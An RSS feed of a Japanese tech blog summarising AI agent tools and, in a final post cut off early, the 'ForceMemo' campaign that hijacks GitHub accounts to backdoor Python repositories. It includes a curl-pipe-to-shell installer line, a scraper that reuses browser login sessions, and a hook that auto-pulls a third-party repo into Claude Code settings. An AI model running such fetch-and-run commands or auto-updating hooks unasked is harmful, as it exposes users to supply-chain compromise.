<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Github on hdknr blog</title><link>https://hdknr.github.io/blogs/tags/github/</link><description>Recent content in Github on hdknr blog</description><generator>Hugo -- 0.157.0</generator><language>ja</language><lastBuildDate>Mon, 06 Apr 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://hdknr.github.io/blogs/tags/github/index.xml" rel="self" type="application/rss+xml"/><item><title>AutoAgent</title><link>https://hdknr.github.io/blogs/wiki/tools/autoagent/</link><pubDate>Mon, 06 Apr 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/wiki/tools/autoagent/</guid><description>AI エージェントのハーネスを AI 自身が自律的に改善する Python 製 OSS ライブラリ</description></item><item><title>AutoAgent — AIがAIを育てる自己改善エージェントOSSライブラリ</title><link>https://hdknr.github.io/blogs/posts/2026/04/autoagent-ai%E3%81%8Cai%E3%82%92%E8%82%B2%E3%81%A6%E3%82%8B%E8%87%AA%E5%B7%B1%E6%94%B9%E5%96%84%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88oss%E3%83%A9%E3%82%A4%E3%83%96%E3%83%A9%E3%83%AA/</link><pubDate>Sun, 05 Apr 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/04/autoagent-ai%E3%81%8Cai%E3%82%92%E8%82%B2%E3%81%A6%E3%82%8B%E8%87%AA%E5%B7%B1%E6%94%B9%E5%96%84%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88oss%E3%83%A9%E3%82%A4%E3%83%96%E3%83%A9%E3%83%AA/</guid><description>AutoAgent は AI エージェントのハーネス（プロンプト・ツール・オーケストレーション）を AI 自身が自律的に改善する Python 製 OSS ライブラリ。24時間の最適化で SpreadsheetBench・TerminalBench 世界1位を達成。</description></item><item><title>MiroFish その後: 3週間で GitHub Star 4.7万超へ — コミュニティの広がりと今後の展望</title><link>https://hdknr.github.io/blogs/posts/2026/03/mirofish-%E3%81%9D%E3%81%AE%E5%BE%8C-3%E9%80%B1%E9%96%93%E3%81%A7-github-star-4.7%E4%B8%87%E8%B6%85%E3%81%B8-%E3%82%B3%E3%83%9F%E3%83%A5%E3%83%8B%E3%83%86%E3%82%A3%E3%81%AE%E5%BA%83%E3%81%8C%E3%82%8A%E3%81%A8%E4%BB%8A%E5%BE%8C%E3%81%AE%E5%B1%95%E6%9C%9B/</link><pubDate>Tue, 31 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/mirofish-%E3%81%9D%E3%81%AE%E5%BE%8C-3%E9%80%B1%E9%96%93%E3%81%A7-github-star-4.7%E4%B8%87%E8%B6%85%E3%81%B8-%E3%82%B3%E3%83%9F%E3%83%A5%E3%83%8B%E3%83%86%E3%82%A3%E3%81%AE%E5%BA%83%E3%81%8C%E3%82%8A%E3%81%A8%E4%BB%8A%E5%BE%8C%E3%81%AE%E5%B1%95%E6%9C%9B/</guid><description>AI 予測エンジン MiroFish が公開3週間で GitHub Star 4.7万超に急成長。オフライン版やデモサイトなどコミュニティの展開と、群体知能アプローチの可能性を追う。</description></item><item><title>Claude Codeベストプラクティス疲れに終止符 — claude-code-best-practiceリポジトリ一本で運用する方法</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code%E3%83%99%E3%82%B9%E3%83%88%E3%83%97%E3%83%A9%E3%82%AF%E3%83%86%E3%82%A3%E3%82%B9%E7%96%B2%E3%82%8C%E3%81%AB%E7%B5%82%E6%AD%A2%E7%AC%A6-claude-code-best-practice%E3%83%AA%E3%83%9D%E3%82%B8%E3%83%88%E3%83%AA%E4%B8%80%E6%9C%AC%E3%81%A7%E9%81%8B%E7%94%A8%E3%81%99%E3%82%8B%E6%96%B9%E6%B3%95/</link><pubDate>Mon, 30 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code%E3%83%99%E3%82%B9%E3%83%88%E3%83%97%E3%83%A9%E3%82%AF%E3%83%86%E3%82%A3%E3%82%B9%E7%96%B2%E3%82%8C%E3%81%AB%E7%B5%82%E6%AD%A2%E7%AC%A6-claude-code-best-practice%E3%83%AA%E3%83%9D%E3%82%B8%E3%83%88%E3%83%AA%E4%B8%80%E6%9C%AC%E3%81%A7%E9%81%8B%E7%94%A8%E3%81%99%E3%82%8B%E6%96%B9%E6%B3%95/</guid><description>&lt;p&gt;Claude Codeのベストプラクティスが毎日TLに流れてくる。追いかけるのに疲れた人向けに、&lt;strong&gt;1つのリポジトリだけをフォローして運用する方法&lt;/strong&gt;を紹介する。&lt;/p&gt;
&lt;h2 id="ベストプラクティス疲れという問題"&gt;ベストプラクティス疲れという問題&lt;/h2&gt;
&lt;p&gt;Claude Codeの普及に伴い、SNS上には日々さまざまなベストプラクティスやTipsが投稿されている。しかし、情報が断片的で、どれを採用すべきか判断するだけでも消耗する。&lt;/p&gt;
&lt;p&gt;結論として、&lt;strong&gt;ベストプラクティスを追うことに時間を費やすより、具体的な仕組みの実装に時間を割いた方が生産的&lt;/strong&gt;だ。&lt;/p&gt;
&lt;h2 id="claude-code-best-practiceリポジトリとは"&gt;claude-code-best-practiceリポジトリとは&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://github.com/shanraisshan/claude-code-best-practice"&gt;shanraisshan/claude-code-best-practice&lt;/a&gt; は、Claude Codeの設計や運用に関するベストプラクティスを体系的にまとめたリポジトリだ。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;GitHub Star数: 約24,800（2026年3月時点）&lt;/li&gt;
&lt;li&gt;海外コミュニティで広く参照されている&lt;/li&gt;
&lt;li&gt;設計思想から具体的な設定まで、日々更新されている&lt;/li&gt;
&lt;li&gt;日本のSNSでバズるClaude Code Tipsも、元ネタはこのリポジトリ周辺であることが多い&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="導入手順"&gt;導入手順&lt;/h2&gt;
&lt;p&gt;やることは2ステップだけ。&lt;/p&gt;
&lt;h3 id="step-1-リポジトリをクローン"&gt;Step 1: リポジトリをクローン&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git clone https://github.com/shanraisshan/claude-code-best-practice.git
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="step-2-claude-codeにプロジェクト固有のベストプラクティスを提案させる"&gt;Step 2: Claude Codeにプロジェクト固有のベストプラクティスを提案させる&lt;/h3&gt;
&lt;p&gt;自分のプロジェクトディレクトリでClaude Codeを起動し、以下のように依頼する:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;このリポジトリ（claude-code-best-practice）を参考に、
うちのプロジェクトに合ったベストプラクティスを提案して
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Claude Codeがプロジェクトの構成を読み取り、適切なCLAUDE.mdの設定やSkills、エージェント構成を提案してくれる。&lt;/p&gt;
&lt;h2 id="startup-hookで常に最新化する"&gt;startup hookで常に最新化する&lt;/h2&gt;
&lt;p&gt;クローンしたリポジトリは時間とともに古くなる。Claude Codeの &lt;code&gt;SessionStart&lt;/code&gt; hook（セッション開始時に自動実行される仕組み）に &lt;code&gt;git pull&lt;/code&gt; を設定しておけば、起動のたびに自動で最新化される。&lt;/p&gt;
&lt;p&gt;Claude Codeのユーザー設定ファイル（&lt;code&gt;~/.claude/settings.json&lt;/code&gt;）に以下を追加する:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;hooks&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;SessionStart&amp;#34;&lt;/span&gt;: [
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;type&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;command&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;command&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;cd /path/to/claude-code-best-practice &amp;amp;&amp;amp; git pull --quiet&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;timeout&amp;#34;&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;10000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;code&gt;/path/to/&lt;/code&gt; の部分は、Step 1でクローンした実際のパスに置き換えること。&lt;/p&gt;</description></item><item><title>opencli-rs: Rust製の爆速Webスクレイピングツールで55以上のサイトをCLI化する</title><link>https://hdknr.github.io/blogs/posts/2026/03/opencli-rs-rust%E8%A3%BD%E3%81%AE%E7%88%86%E9%80%9Fweb%E3%82%B9%E3%82%AF%E3%83%AC%E3%82%A4%E3%83%94%E3%83%B3%E3%82%B0%E3%83%84%E3%83%BC%E3%83%AB%E3%81%A755%E4%BB%A5%E4%B8%8A%E3%81%AE%E3%82%B5%E3%82%A4%E3%83%88%E3%82%92cli%E5%8C%96%E3%81%99%E3%82%8B/</link><pubDate>Fri, 27 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/opencli-rs-rust%E8%A3%BD%E3%81%AE%E7%88%86%E9%80%9Fweb%E3%82%B9%E3%82%AF%E3%83%AC%E3%82%A4%E3%83%94%E3%83%B3%E3%82%B0%E3%83%84%E3%83%BC%E3%83%AB%E3%81%A755%E4%BB%A5%E4%B8%8A%E3%81%AE%E3%82%B5%E3%82%A4%E3%83%88%E3%82%92cli%E5%8C%96%E3%81%99%E3%82%8B/</guid><description>&lt;p&gt;&lt;a href="https://github.com/nashsu/opencli-rs"&gt;opencli-rs&lt;/a&gt; は、55以上の主要サイトに対応したRust製のCLIツールです。サイトごとにAPIやスクレイピング方法が異なる煩雑さを解消し、1つのコマンドで各プラットフォームの情報を取得できます。&lt;/p&gt;
&lt;h2 id="opencli-rs-とは"&gt;opencli-rs とは&lt;/h2&gt;
&lt;p&gt;opencli-rs は、元々TypeScriptで実装されていた OpenCLI をRustで完全に書き直したツールです。X (Twitter)、YouTube、Reddit、Hacker News、Bilibili、Zhihu、Xiaohongshu（小紅書）など多数のプラットフォームに対応しています。Chromeのログインセッションを再利用するため、APIキーなしでデータを取得できます。&lt;/p&gt;
&lt;p&gt;出力形式はテーブル、JSON、YAML、CSV、Markdownに対応しており、用途に応じて使い分けが可能です。また、Electronベースのデスクトップアプリをコマンドラインから制御する機能も備えており、GUIアプリの操作をスクリプト化できます。&lt;/p&gt;
&lt;h3 id="主な特徴"&gt;主な特徴&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;処理速度が最大12倍に向上&lt;/strong&gt; — TypeScript版と比較して大幅な高速化（例: Bilibili Hot の取得が20.1秒から1.66秒に）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;メモリ使用量を10分の1に削減&lt;/strong&gt; — 95-99MBから9-15MBへ&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;シングルバイナリで動作&lt;/strong&gt; — わずか4.7MB、追加のランタイム不要でどの環境にも導入可能&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="インストール"&gt;インストール&lt;/h2&gt;
&lt;p&gt;インストールスクリプトが用意されており、システムとアーキテクチャを自動検出してバイナリをダウンロードします。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl -fsSL https://raw.githubusercontent.com/nashsu/opencli-rs/main/scripts/install.sh | sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;Rustの開発環境がある場合はソースからビルドすることもできます。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git clone https://github.com/nashsu/opencli-rs.git
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd opencli-rs
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cargo build --release
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="aiエージェントとの連携"&gt;AIエージェントとの連携&lt;/h2&gt;
&lt;p&gt;opencli-rs はAIエージェントとの連携を前提に設計されています。Claude Code や Cursor などに組み込むことで、「Hacker Newsのトップ記事を取得して要約する」「競合のX投稿を定期的にチェックする」といったWeb情報収集の自動化が可能です。&lt;/p&gt;
&lt;p&gt;AIエージェント向けのスキルパッケージ &lt;a href="https://github.com/nashsu/opencli-rs-skill"&gt;opencli-rs-skill&lt;/a&gt; も提供されています。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;npx skills add https://github.com/nashsu/opencli-rs-skill
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;これにより、AIエージェントが &lt;code&gt;AGENT.md&lt;/code&gt; や &lt;code&gt;.cursorrules&lt;/code&gt; の設定を通じて利用可能なツールを自動的に検出し、自然言語でWebスクレイピングを実行できるようになります。&lt;/p&gt;</description></item><item><title>Dexter: 約200行で動く自律型金融リサーチエージェント</title><link>https://hdknr.github.io/blogs/posts/2026/03/dexter-%E7%B4%84200%E8%A1%8C%E3%81%A7%E5%8B%95%E3%81%8F%E8%87%AA%E5%BE%8B%E5%9E%8B%E9%87%91%E8%9E%8D%E3%83%AA%E3%82%B5%E3%83%BC%E3%83%81%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88/</link><pubDate>Thu, 26 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/dexter-%E7%B4%84200%E8%A1%8C%E3%81%A7%E5%8B%95%E3%81%8F%E8%87%AA%E5%BE%8B%E5%9E%8B%E9%87%91%E8%9E%8D%E3%83%AA%E3%82%B5%E3%83%BC%E3%83%81%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88/</guid><description>約200行のTypeScriptで動くオープンソースの金融リサーチAIエージェント Dexter の仕組み、アーキテクチャ、始め方を解説</description></item><item><title>autoresearch：Karpathyが公開した「寝ている間にAIが100実験を自律実行する」630行のスクリプト</title><link>https://hdknr.github.io/blogs/posts/2026/03/autoresearchkarpathy%E3%81%8C%E5%85%AC%E9%96%8B%E3%81%97%E3%81%9F%E5%AF%9D%E3%81%A6%E3%81%84%E3%82%8B%E9%96%93%E3%81%ABai%E3%81%8C100%E5%AE%9F%E9%A8%93%E3%82%92%E8%87%AA%E5%BE%8B%E5%AE%9F%E8%A1%8C%E3%81%99%E3%82%8B630%E8%A1%8C%E3%81%AE%E3%82%B9%E3%82%AF%E3%83%AA%E3%83%97%E3%83%88/</link><pubDate>Mon, 23 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/autoresearchkarpathy%E3%81%8C%E5%85%AC%E9%96%8B%E3%81%97%E3%81%9F%E5%AF%9D%E3%81%A6%E3%81%84%E3%82%8B%E9%96%93%E3%81%ABai%E3%81%8C100%E5%AE%9F%E9%A8%93%E3%82%92%E8%87%AA%E5%BE%8B%E5%AE%9F%E8%A1%8C%E3%81%99%E3%82%8B630%E8%A1%8C%E3%81%AE%E3%82%B9%E3%82%AF%E3%83%AA%E3%83%97%E3%83%88/</guid><description>&lt;p&gt;OpenAI初期メンバーであるAndrej Karpathyが、&lt;strong&gt;autoresearch&lt;/strong&gt;というオープンソースツールを公開しました。わずか630行のPythonスクリプトで、寝ている間にAIエージェントが約100の機械学習実験を自律的に実行してくれるというものです。&lt;/p&gt;
&lt;h2 id="karpathy12月からコードを1行も書いていない"&gt;Karpathy「12月からコードを1行も書いていない」&lt;/h2&gt;
&lt;p&gt;Karpathyは「12月から自分でコードを1行も書いていない」と告白しています。代わりに公開したのがこのautoresearchで、プログラマーの仕事が「コードを書く」から「設計する」へとシフトしていることを象徴しています。&lt;/p&gt;
&lt;h2 id="autoresearchの仕組み"&gt;autoresearchの仕組み&lt;/h2&gt;
&lt;p&gt;autoresearchはシンプルな仕組みで動作します:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;AIエージェントにトレーニングスクリプトと固定の計算バジェット（通常5分間のGPU時間）を渡す&lt;/li&gt;
&lt;li&gt;エージェントが自分のソースコードを読み、改善の仮説を立てる&lt;/li&gt;
&lt;li&gt;コードを修正し、実験を実行する&lt;/li&gt;
&lt;li&gt;結果が改善されたかを評価し、改善なら保持・悪化なら破棄する&lt;/li&gt;
&lt;li&gt;このサイクルを繰り返す&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;トレーニングは常に5分間で実行されるため、&lt;strong&gt;1時間あたり約12実験、一晩で約100実験&lt;/strong&gt;が自動的に回ります。&lt;/p&gt;
&lt;h2 id="実績と反響"&gt;実績と反響&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Shopify CEO Tobias Lütke&lt;/strong&gt;: 一晩で37実験を実行し、&lt;strong&gt;性能19%向上&lt;/strong&gt;を達成&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Karpathy自身&lt;/strong&gt;: 700以上の実験を2日間で実行（Fortune誌報道）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;GitHub&lt;/strong&gt;: 公開1週間で数万スターを獲得（現在54,000以上）&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="技術的特徴"&gt;技術的特徴&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;シングルGPU対応&lt;/strong&gt;: 高価なクラスタは不要&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;630行のスクリプト&lt;/strong&gt;: コードベースが小さく、理解・カスタマイズが容易&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MITライセンス&lt;/strong&gt;: 誰でも自由に利用可能&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Python製&lt;/strong&gt;: &lt;code&gt;train.py&lt;/code&gt; を中心としたシンプルな構成&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="リポジトリ"&gt;リポジトリ&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;GitHub: &lt;a href="https://github.com/karpathy/autoresearch"&gt;karpathy/autoresearch&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="書くから設計するへの転換"&gt;「書く」から「設計する」への転換&lt;/h2&gt;
&lt;p&gt;autoresearchが示唆しているのは、世界最高峰のプログラマーの仕事が「AIにコードを書かせる」段階をすでに超え、&lt;strong&gt;AIエージェントに実験を設計・実行させるフェーズ&lt;/strong&gt;に入っているということです。Karpathyは将来的に、エージェント群が協調して小さなモデルをチューニングし、有望なアイデアを段階的にスケールアップさせる「研究コミュニティのエミュレーション」を構想しています。&lt;/p&gt;</description></item><item><title>ForceMemo: GitHub アカウントを乗っ取り Python リポジトリにバックドアを仕込む新型攻撃</title><link>https://hdknr.github.io/blogs/posts/2026/03/forcememo-github-%E3%82%A2%E3%82%AB%E3%82%A6%E3%83%B3%E3%83%88%E3%82%92%E4%B9%97%E3%81%A3%E5%8F%96%E3%82%8A-python-%E3%83%AA%E3%83%9D%E3%82%B8%E3%83%88%E3%83%AA%E3%81%AB%E3%83%90%E3%83%83%E3%82%AF%E3%83%89%E3%82%A2%E3%82%92%E4%BB%95%E8%BE%BC%E3%82%80%E6%96%B0%E5%9E%8B%E6%94%BB%E6%92%83/</link><pubDate>Thu, 19 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/forcememo-github-%E3%82%A2%E3%82%AB%E3%82%A6%E3%83%B3%E3%83%88%E3%82%92%E4%B9%97%E3%81%A3%E5%8F%96%E3%82%8A-python-%E3%83%AA%E3%83%9D%E3%82%B8%E3%83%88%E3%83%AA%E3%81%AB%E3%83%90%E3%83%83%E3%82%AF%E3%83%89%E3%82%A2%E3%82%92%E4%BB%95%E8%BE%BC%E3%82%80%E6%96%B0%E5%9E%8B%E6%94%BB%E6%92%83/</guid><description>&lt;p&gt;2026年3月上旬から、GitHub アカウントを侵害して Python リポジトリに悪意あるコードを注入する「ForceMemo」と呼ばれる大規模攻撃キャンペーンが確認されています。force-push によるコミット履歴の書き換えと、Solana ブロックチェーンを利用した C2（Command and Control: 攻撃者がマルウェアに指令を送る仕組み）通信という巧妙な手法が特徴です。&lt;/p&gt;
&lt;h2 id="攻撃の概要"&gt;攻撃の概要&lt;/h2&gt;
&lt;p&gt;ForceMemo は、以下の流れで Python プロジェクトを侵害します:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;GitHub アカウントの侵害&lt;/strong&gt; — GlassWorm と呼ばれる情報窃取マルウェアが VS Code / Cursor 拡張機能から GitHub トークンを抽出&lt;/li&gt;
